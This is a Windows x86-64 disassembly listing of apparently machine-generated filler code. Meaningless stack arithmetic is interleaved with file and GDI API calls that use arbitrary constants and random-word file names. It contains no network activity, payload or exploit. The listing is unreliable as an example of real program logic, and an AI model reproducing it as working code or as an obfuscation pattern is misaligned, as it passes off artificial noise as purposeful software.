call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3594], eax
movzx eax, word [rsp + 0xeac]
movzx ecx, word [rsp + 0xea8]
add eax, ecx
mov rcx, qword [rsp + 0xad78]
mov word [rcx], ax
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3474], eax
movzx eax, byte [rsp + 0x150]
mov rcx, qword [rsp + 0xadb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x152], al
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [rsp + 0xeb0]
add eax, ecx
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
mov rax, qword [rsp + 0xae08]
mov ecx, dword [rsp + 0x3450]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x34cc], eax
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xeac]
sub eax, ecx
mov rcx, qword [rsp + 0xad60]
mov word [rcx], ax
mov eax, dword [rsp + 0x3534]
mov ecx, dword [rsp + 0x34b8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xace0]
mov rcx, qword [rsp + 0xacd8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xade8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x151], al
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
xor eax, ecx
mov word [rsp + 0xa6c], ax
xor r9d, r9d
lea r8, [rsp + 0xadd8]
mov rdx, qword [rsp + 0xad88]
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3510], eax
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xad78]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xad60]
mov word [rcx], ax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
and eax, ecx
mov word [section..data], ax
lea rdx, [rsp + 0xae28]
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3514], eax
mov rax, qword [rsp + 0xacd8]
mov rcx, qword [rsp + 0xadd0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xade8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xae10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x350c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
cmp dword [rsp + 0x3454], 0xbe3c
ja 0x14000818f
mov rax, qword [rsp + 0xade8]
mov rax, qword [rax]
mov qword [rsp + 0xae30], rax
movabs rax, 0x51413e41a26996f7
cmp qword [rsp + 0xae30], rax
je 0x140008573
jmp 0x140008667
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
mov byte [rsp + 0x3598], al
cmp byte [rsp + 0x3598], 0x76
je 0x140008594
jmp 0x14000862d
mov eax, dword [rsp + 0x343c]
mov ecx, dword [rsp + 0x3444]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae08]
mov dword [rcx], eax
mov r8d, 0x2b
lea rdx, [rsp + 0xad80]
mov rcx, qword [rsp + 0xad28]
call qword [sym.imp.GDI32.dll_Polyline]
mov dword [rsp + 0x3440], eax
mov rax, qword [rsp + 0xae08]
mov ecx, dword [rsp + 0x34cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x343c], eax
movsx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
movzx r8d, byte [rsp + 0x151]
movzx edx, byte [rsp + 0x151]
movzx ecx, byte [rsp + 0x151]
call fcn.1401d98a0
nop
jmp 0x140008662
lea rax, [rsp + 0xac80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2d210]
mov r8d, 0xe0
mov edx, 0xed
mov rcx, qword [rsp + 0xae38]
call qword [sym.imp.GDI32.dll_GetCharWidthI]
mov dword [rsp + 0x348c], eax
jmp 0x1400086ea
movzx eax, word [rsp + 0xeb0]
mov word [rsp + 0xeb4], ax
mov eax, dword [rsp + 0x343c]
mov dword [rsp + 0x359c], eax
cmp dword [rsp + 0x359c], 0
je 0x1400086c5
cmp dword [rsp + 0x359c], 0x68d86653
je 0x14000869e
jmp 0x1400086ea
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad50]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x150], al
call fcn.1401d9230
nop
jmp 0x1400086ea
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3588], eax
lea rax, [rsp + 0xeac]
mov qword [rsp + 0xae40], rax
lea rax, [rsp + 0x153]
mov qword [rsp + 0xae48], rax
mov rax, qword [rsp + 0xad78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
add eax, ecx
movzx ecx, word [rsp + 0xeac]
mov rdx, qword [rsp + 0xae40]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jg 0x1401d8b6f
mov rax, qword [rsp + 0xacd8]
mov rcx, qword [rsp + 0xade8]
mov qword [rsp + 0xae50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xae50]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xace0], rax
movzx eax, word [rsp + 0xea8]
mov dword [rsp + 0x35a0], eax
cmp dword [rsp + 0x35a0], 0
je 0x140008788
cmp dword [rsp + 0x35a0], 0xc23
je 0x1400087e0
jmp 0x140008819
lea rax, [rsp + 0x3444]
mov qword [rsp + 0xae58], rax
lea rax, [rsp + 0xea8]
mov qword [rsp + 0xae60], rax
mov dword [rsp + 0x35a4], 0xf53a
mov r9d, 2
lea r8, [rsp + 0xae28]
mov rdx, qword [rsp + 0xadf8]
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x34f0], eax
jmp 0x140008819
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [rsp + 0xeb0]
and eax, ecx
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
movsx eax, word [rsp + 0xeb0]
mov rcx, qword [rsp + 0xad70]
movsx ecx, word [rcx]
add eax, ecx
mov word [section..data], ax
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x35a8], eax
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xae48]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xadb8]
mov byte [rcx], al
movzx eax, word [rsp + 0xea8]
mov word [rsp + 0xeb8], ax
mov rax, qword [rsp + 0xa4c8]
mov qword [rsp + 0xae68], rax
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb4]
add eax, ecx
movsx ecx, word [rsp + 0xa6c]
movsx edx, word [rsp + 0xeb0]
add ecx, edx
cmp eax, ecx
jge 0x1400088e9
mov rax, qword [rsp + 0xade8]
mov rcx, qword [rsp + 0xace0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xade8]
mov qword [rcx], rax
lea r9, [rsp + 0xad40]
mov r8d, 0xa8
mov edx, 0xb7
mov rcx, qword [rsp + 0xad40]
call qword [sym.imp.GDI32.dll_MoveToEx]
mov dword [rsp + 0x344c], eax
jmp 0x140008a0c
mov edx, 0x7b1c3e
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3584], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.Beaconpierced_seventeen_anachronisticallyLens
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xae70], rax
lea rax, [rsp + 0x34cc]
mov qword [rsp + 0xae78], rax
lea rdx, [rsp + 0xadf8]
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3514], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2886
mov r9d, 0x1c60
mov r8d, 0x5a6fd407
mov edx, 2
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x35ac], eax
lea rax, [rsp + 0x3534]
mov qword [rsp + 0xae80], rax
lea rdx, [rsp + 0x26f48]
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x34ec], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.divisionPlacid_vessel
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xae88], rax
movzx eax, word [rsp + 0xeac]
mov dword [rsp + 0x35b0], eax
cmp dword [rsp + 0x35b0], 0
je 0x140008a27
jmp 0x140008a8a
lea rax, [rsp + 0x151]
mov qword [rsp + 0xae90], rax
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x3568], eax
mov dword [rsp + 0x35b4], 0x9a20
lea rax, [rsp + 0x151]
mov qword [rsp + 0xae98], rax
mov rax, qword [rsp + 0xad58]
movzx eax, byte [rax]
mov byte [0x1402112c0], al
lea rax, [rsp + 0xeb4]
mov qword [rsp + 0xaea0], rax
jmp 0x140008aa3
mov rax, qword [rsp + 0xade8]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0xac80]
call fcn.1401d9ff0
nop
mov rax, qword [rsp + 0xad50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x152]
sub eax, ecx
mov rcx, qword [rsp + 0xad50]
mov byte [rcx], al
xor r9d, r9d
lea r8, [rsp + 0xae28]
mov rdx, qword [rsp + 0xaea8]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3584], eax
lea rax, [rsp + 0xeb0]
mov qword [rsp + 0xaeb0], rax
mov rax, qword [rsp + 0xae08]
mov ecx, dword [rsp + 0x3444]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xae78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xacd8]
mov qword [rsp + 0xaeb8], rax
mov eax, dword [rsp + 0x34c4]
mov dword [rsp + 0x3534], eax
mov rax, qword [rsp + 0xa4c8]
mov rcx, qword [rsp + 0xae68]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xac80], rax
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad50]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0xaea0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
or eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x151]
sar eax, cl
mov rcx, qword [rsp + 0xad90]
mov byte [rcx], al
mov rax, qword [rsp + 0xae40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae60]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xeac], ax
mov rax, qword [rsp + 0xae40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
sub eax, ecx
mov word [rsp + 0xeac], ax
mov rax, qword [rsp + 0xadd0]
mov rcx, qword [rsp + 0xace0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xade8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xad98]
mov rcx, qword [rsp + 0xae80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xae10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x35b4]
add eax, 0x99
mov dword [rsp + 0x35b4], eax
mov rax, qword [rsp + 0xae58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3450]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34cc], eax
mov rax, qword [rsp + 0xae60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad78]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xae40]
mov word [rcx], ax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x151]
and eax, ecx
mov rcx, qword [rsp + 0xad90]
mov byte [rcx], al
mov rax, qword [rsp + 0xaea0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xad70]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaeb0]
mov word [rcx], ax
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad50]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x150], al
mov edx, 0xef7ff
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x34d4], eax
mov rax, qword [rsp + 0xae40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad78]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xae60]
mov word [rcx], ax
mov rax, qword [rsp + 0xaea0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
shl eax, cl
mov word [rsp + 0xeb4], ax
mov rax, qword [rsp + 0xae08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x343c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x34cc], eax
mov rax, qword [rsp + 0xae10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x34b8]
sar eax, cl
mov dword [rsp + 0x3534], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xd59b
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3500], eax
cmp dword [rsp + 0x35b4], 0xcd86
jne 0x140008b35
mov rax, qword [rsp + 0xace0]
mov qword [rsp + 0xaec0], rax
mov r9d, 1
lea r8, [rsp + 0xadd8]
mov rdx, qword [rsp + 0xaec8]
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x34d4], eax
lea rax, [rsp + 0xa4c8]
mov qword [rsp + 0xaed0], rax
cmp dword [rsp + 0x355c], 0xdb7f
jae 0x14000904c
lea rdx, [rsp + 0x3478]
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x3500], eax
movzx eax, byte [rsp + 0x152]
movzx ecx, byte [rsp + 0x153]
xor eax, ecx
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0xaeb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaea0]
movsx ecx, word [rcx]
and eax, ecx
mov word [section..data], ax
movzx eax, word [rsp + 0xeb8]
mov rcx, qword [rsp + 0xae60]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xad60]
mov word [rcx], ax
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x34f4], eax
movsx eax, word [rsp + 0xeb0]
mov rcx, qword [rsp + 0xad70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xeb4], ax
mov rax, qword [rsp + 0xae98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad58]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x151], al
mov eax, dword [rsp + 0x355c]
add eax, 0x66
mov dword [rsp + 0x355c], eax
mov rax, qword [rsp + 0xad98]
mov ecx, dword [rsp + 0x34b8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xae10]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x343c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae08]
mov dword [rcx], eax
mov rax, qword [rsp + 0xace0]
mov rcx, qword [rsp + 0xaec0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaeb8], rax
lea rdx, [rsp + 0xaed8]
mov rcx, qword [rsp + 0xae70]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3514], eax
mov rax, qword [rsp + 0xaed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa4c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xac80], rax
xor r9d, r9d
lea r8, [rsp + 0xad88]
mov rdx, qword [rsp + 0xadd8]
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3550], eax
movzx eax, byte [rsp + 0x152]
mov rcx, qword [rsp + 0xad50]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x150], al
movsx eax, byte [rsp + 0x151]
movsx ecx, byte [0x1402112c0]
sar eax, cl
mov rcx, qword [rsp + 0xad90]
mov byte [rcx], al
mov rcx, qword [rsp + 0xae70]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x34f8], eax
mov dword [rsp + 0x20], 0x13a5
mov r9d, 0x907
mov r8d, 0x3485
mov edx, 0x38a8
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x35b8], eax
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xeb8]
xor eax, ecx
mov word [rsp + 0xeac], ax
movsx eax, byte [0x1402112c0]
mov rcx, qword [rsp + 0xad58]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x151], al
jmp 0x140008df0
mov rax, qword [rsp + 0xaed0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xac80]
shl rax, cl
mov rcx, qword [rsp + 0xae68]
mov rdx, qword [rsp + 0xa4c8]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x1400091b0
mov rax, qword [rsp + 0xae98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x151]
sub eax, ecx
mov rcx, qword [rsp + 0xad58]
movsx ecx, byte [rcx]
movsx edx, byte [0x1402112c0]
sub ecx, edx
cmp eax, ecx
jl 0x140009190
mov rax, qword [rsp + 0xad50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xadb8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0xaed0]
mov rax, qword [rax]
mov qword [rsp + 0xaee0], rax
movabs rax, 0x2a515b3f57d3eb57
cmp qword [rsp + 0xaee0], rax
je 0x140009166
movabs rax, 0x2ae90c5c3b37f9a2
cmp qword [rsp + 0xaee0], rax
je 0x140009111
jmp 0x14000918e
mov rdx, qword [rsp + 0xaee8]
mov rcx, qword [rsp + 0xad18]
call qword [sym.imp.GDI32.dll_SelectClipRgn]
mov dword [rsp + 0x34c4], eax
mov rax, qword [rsp + 0xae08]
mov ecx, dword [rsp + 0x3450]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xae08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3534]
mov ecx, dword [rsp + 0x34b8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x34c4], eax
jmp 0x14000918e
lea r9, [rsp + 0xade8]
mov r8d, 0xae
mov edx, 0x77
mov rcx, qword [rsp + 0xad28]
call qword [sym.imp.GDI32.dll_OffsetWindowOrgEx]
mov dword [rsp + 0x3448], eax
jmp 0x1400091ae
mov rax, qword [rsp + 0xac80]
mov rcx, qword [rsp + 0xae68]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
jmp 0x14000920f
movzx eax, byte [rsp + 0x150]
movzx ecx, byte [rsp + 0x152]
and eax, ecx
movzx ecx, byte [rsp + 0x153]
mov rdx, qword [rsp + 0xadb8]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x14000920f
mov rax, qword [rsp + 0xacd8]
mov rcx, qword [rsp + 0xade8]
mov qword [rsp + 0xaef0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaef0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xade8]
mov qword [rcx], rax
movsx eax, word [rsp + 0xeb4]
mov dword [rsp + 0x35bc], eax
cmp dword [rsp + 0x35bc], 0
je 0x14000923e
cmp dword [rsp + 0x35bc], 0x3d98
je 0x14000930f
jmp 0x140009437
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.DrunksTransmissibledilemmas
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xaef8], rax
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x153]
sar eax, cl
mov rcx, qword [rsp + 0xadb8]
mov byte [rcx], al
lea rax, [rsp + 0xeb4]
mov qword [0x1402112c8], rax
movsx eax, word [rsp + 0xa6c]
mov rcx, qword [rsp + 0xaea0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xeb4], ax
mov rcx, qword [rsp + 0xae70]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x3470], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x82d3
mov rcx, qword [rsp + 0xaef8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3478], eax
lea rax, [rsp + 0x151]
mov qword [rsp + 0xaf00], rax
jmp 0x140009437
mov dword [rsp + 0x58], 0x52
lea rax, [rsp + 0xaf08]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0xaf08]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x40], 0x1f
mov dword [rsp + 0x38], 0xee
mov dword [rsp + 0x30], 0x1a
mov dword [rsp + 0x28], 0xbe
mov dword [rsp + 0x20], 0x61
mov r9d, 0xb6
mov r8d, 0xf6
mov edx, 0x25
mov rcx, qword [rsp + 0xae38]
call qword [sym.imp.GDI32.dll_SetDIBitsToDevice]
mov dword [rsp + 0x35c0], eax
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [rsp + 0xeb4]
sub eax, ecx
mov word [rsp + 0xeb0], ax
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
sub eax, ecx
mov rcx, qword [rsp + 0xae40]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0xeb8]
and ecx, edx
cmp eax, ecx
jg 0x140009437
mov rax, qword [rsp + 0xae10]
mov eax, dword [rax]
mov dword [rsp + 0x35c4], eax
cmp dword [rsp + 0x35c4], 0x3747341e
je 0x1400093e7
jmp 0x140009422
movzx eax, word [rsp + 0xeac]
mov rcx, qword [rsp + 0xad78]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xae60]
mov word [rcx], ax
mov rdx, qword [rsp + 0xaeb8]
mov rax, qword [rsp + 0xaed0]
mov rcx, qword [rax]
call fcn.1401d9ff0
nop
jmp 0x140009437
mov rcx, qword [rsp + 0xad20]
call qword [sym.imp.GDI32.dll_GetLayout]
mov dword [rsp + 0x34cc], eax
mov rax, qword [rsp + 0xae40]
movzx eax, word [rax]
mov dword [rsp + 0x35c8], eax
cmp dword [rsp + 0x35c8], 0x304
je 0x14000945b
jmp 0x1400095c8
mov rax, qword [rsp + 0xae10]
mov rcx, qword [rsp + 0xad98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x34b8], eax
mov rax, qword [rsp + 0xae90]
movzx eax, byte [rax]
mov byte [rsp + 0x35cc], al
cmp byte [rsp + 0x35cc], 0x1f
je 0x1400094a7
cmp byte [rsp + 0x35cc], 0x7c
je 0x1400095a5
jmp 0x1400095c3
mov eax, dword [rsp + 0x343c]
mov ecx, dword [rsp + 0x34cc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae08]
mov edx, dword [rsp + 0x3450]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jbe 0x1400094f1
mov rax, qword [rsp + 0xaed0]
mov rcx, qword [rsp + 0xac80]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xaed0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xace0]
mov qword [rsp + 0xaf10], rax
movabs rax, 0xfc3bc43da5e9b8a
cmp qword [rsp + 0xaf10], rax
je 0x14000952b
movabs rax, 0x4df5783b5dd2cdc1
cmp qword [rsp + 0xaf10], rax
je 0x140009550
jmp 0x1400095a3
mov rax, qword [rsp + 0xae08]
mov rcx, qword [rsp + 0xae58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3444], eax
call fcn.1401d9230
nop
jmp 0x1400095a3
mov dword [rsp + 0x40], 0x40
mov dword [rsp + 0x38], 0xfc
mov dword [rsp + 0x30], 0xfa
mov rax, qword [rsp + 0xad18]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x22
mov r9d, 0x71
mov r8d, 0x7a
mov edx, 0x9b
mov rcx, qword [rsp + 0xaf18]
call qword [sym.imp.GDI32.dll_BitBlt]
mov dword [rsp + 0x348c], eax
jmp 0x1400095c3
mov rax, qword [rsp + 0xacd8]
mov rcx, qword [rsp + 0xace0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaeb8], rax
jmp 0x1400096e9
movzx eax, word [rsp + 0xea8]
mov dword [rsp + 0x35d0], eax
cmp dword [rsp + 0x35d0], 0
je 0x1400095f7
cmp dword [rsp + 0x35d0], 0xcf6
je 0x1400096c9
jmp 0x1400096e9
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x34ec], eax
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x153]
sub eax, ecx
mov byte [0x140210002], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.subbedOutliningmultimeterMalleableMasks
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xaf20], rax
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
sar eax, cl
mov word [rsp + 0xeb4], ax
lea rax, [rsp + 0x150]
mov qword [rsp + 0xaf28], rax
mov edx, 0x59231
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3510], eax
lea rdx, [rsp + 0xaf30]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x35b8], eax
jmp 0x1400096e9
movzx eax, word [rsp + 0xeb8]
mov rcx, qword [rsp + 0xad60]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xae60]
mov word [rcx], ax
movsx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xae90]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x143], al
mov rax, qword [rsp + 0xae98]
movzx eax, byte [rax]
mov byte [rsp + 0x154], al
mov rax, qword [rsp + 0xade8]
mov rax, qword [rax]
cqo
idiv qword [rsp + 0xadd0]
mov qword [rsp + 0xace0], rax
mov rax, qword [rsp + 0xae78]
mov ecx, dword [rsp + 0x3444]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xae58]
mov edx, dword [rsp + 0x34cc]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jne 0x1401d89e7
mov rax, qword [rsp + 0xae80]
mov eax, dword [rax]
mov dword [rsp + 0x35d4], eax
cmp dword [rsp + 0x35d4], 0x1ea86e9b
je 0x140009796
cmp dword [rsp + 0x35d4], 0x4837ab8c
je 0x140009819
jmp 0x14000981f
movsx eax, word [rsp + 0xeb4]
mov rcx, qword [rsp + 0xaeb0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1402112c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xae60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad78]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xeb8], ax
movss xmm0, dword [0x140204f28]
movss dword [rsp + 0x28], xmm0
movss xmm0, dword [0x140204f2c]
movss dword [rsp + 0x20], xmm0
mov r9d, 0xc9
mov r8d, 0x66
mov edx, 0x58
mov rcx, qword [rsp + 0xaf38]
call qword [sym.imp.GDI32.dll_AngleArc]
mov dword [rsp + 0x35d8], eax
jmp 0x14000981f
call fcn.1401d9230
nop
